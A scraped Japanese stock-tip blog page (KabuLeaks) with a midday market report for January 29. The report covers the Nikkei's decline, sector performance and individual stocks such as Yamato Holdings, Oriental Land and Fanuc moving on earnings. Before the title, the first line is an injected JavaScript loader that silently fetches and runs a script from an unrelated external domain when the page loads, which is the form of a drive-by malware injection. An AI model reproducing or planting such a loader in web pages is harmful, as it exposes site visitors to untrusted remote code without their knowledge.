;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【1/29 前引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【1/29 前引け】

前場の日経平均株価88円安と続落。朝の寄り付き直後は前日の米株高、原油価格の上昇を受け買い優勢も一巡後は上値重くマイナス転換。本格化する企業決算、中国の景気減速からの収益悪化が警戒されたほか、この後控える日銀会合の結果待ちから積極的な買いは入らず下げ幅を拡大。その後は下げ渋るも戻りは限定的に。業種別では、鉱業、石油石炭製品、その他製品、電気・ガス業などが値上がり率上位に。一方、電気機器、医薬品、空運業、 繊維製品などが値下がり率上位となった。

個別では、前日決算発表で300億円を上限に自社株買いの実施を発表した【9064】ヤマトホールディングス、第3四半期営業利益は増益に転じた【4661】オリエンタルランドが上昇。上方修正の発表からインバウンド関連の一角【9722】藤田観光、決算ポジティブ評価のゲーム関連の【4751】サイバーエージェント、工業用ミシンの【6262】ペガサスミシンなどが薄トップ高となった。一方で中国向け不振で下方修正の【6954】ファナックが急落、同じく下方修正の【2125】エス・エム・エスなどが急落。

テーマ株では「5」関連が人気継続。現状では本命とされる【3852】サイバーコム、【6778】アルチザネットワークスなどを筆頭に関連銘柄も軒並み上昇した。